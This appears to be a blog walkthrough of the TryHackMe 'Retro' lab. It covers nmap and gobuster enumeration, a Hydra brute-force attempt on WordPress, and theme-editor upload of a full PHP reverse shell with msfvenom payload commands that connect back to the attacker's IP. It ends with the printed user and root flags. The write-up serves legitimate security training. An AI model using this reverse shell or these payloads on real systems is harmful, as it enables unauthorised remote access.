Home THM — Retro
Post
Cancel

THM — Retro


New high score!

Hack the machine

First, nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
vladislav@Mac ~ % nmap -sV -sC 10.10.76.39                                                                            
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-14 14:02 MSK
Nmap scan report for 10.10.76.39
Host is up (0.066s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-14T11:03:31+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2022-12-14T11:03:26+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2022-12-13T10:57:33
|_Not valid after:  2023-06-14T10:57:33
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.58 seconds

We can see an http server running on port 80. Let’s find hidden subpages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vladislav@Mac ~ % gobuster dir -u http://10.10.76.39 -w share/wordlists/dirs/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.76.39
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                share/wordlists/dirs/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/12/14 14:19:09 Starting gobuster in directory enumeration mode
===============================================================
/retro                (Status: 301) [Size: 148] [--> http://10.10.76.39/retro/]
/Retro                (Status: 301) [Size: 148] [--> http://10.10.76.39/Retro/]

A web server is running on the target. What is the hidden directory which the website lives on? /retro

The website:

In the bottom of the site we can find link Log In page for Wordpress. Let’s suppose that the login is Wade as it’s the name of the author. If we enter it we can see that Wordpress doesn’t say that this user doesn’t exist. So let’s bruteforce the password using Hydra.

First, we need to capture http POST using Burp Suite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /retro/wp-login.php HTTP/1.1
Host: 10.10.76.39
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.76.39
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.76.39/retro/wp-login.php
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close

log=user&pwd=pass&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1

Hydra bruteforce:

1
hydra -l Wade -P share/wordlists/rockyou.txt 10.10.76.39 http-post-form "/retro/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1:S=302"

However, it doesn’t succeed in it.

Searching for something unevident on the website I found the second post contains a comment:

1
Leaving myself a note here just in case I forget how to spell it: parzival

Finally, we can log into the wordpress admin panel. Typical way would be to upload a template/plugin with reverse shell:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.9.32.237 LPORT=4444 -f raw > rev_shell.php

I tried uploading it to plugins, but it failed. So then I tried theme editor.

I used the following PHP reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.32.237';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

After uploading it as a 404.php we go to http://10.10.76.39/retro/wp-content/themes/90s-retro/404.php. However, it didn’t work neither. It gave some strange mistake, so I used another reverse php shell:

1
msfvenom -p php/reverse_php LHOST=10.9.32.237 LPORT=4445 -f raw > phprev.php

Finally, we got our reverse shell:

1
2
whoami
nt authority\iusr

After that I found that we can use RDP to connect.

On the Desktop we can find user.txt file.

user.txt 3b99fbdc6d430bfb51c72c651a261927

First, I found a deleted file in Recycle Bin, but it’s useless.

There is a hint to check what user has been doing before. I checked powershell history, but there was nothing. Next I checked Google Chrome history:

That’s a hint! We need to use the CVE-2019-1388 vulnerability. Here’s a guide on how to exploit it.

Here we see that the file we found in the bin wasn’t useless. Going through the guide we can get the root flag.

root.txt 7958b569565d7bd88d10c6f22d1c4063

This post is licensed under CC BY 4.0 by the author.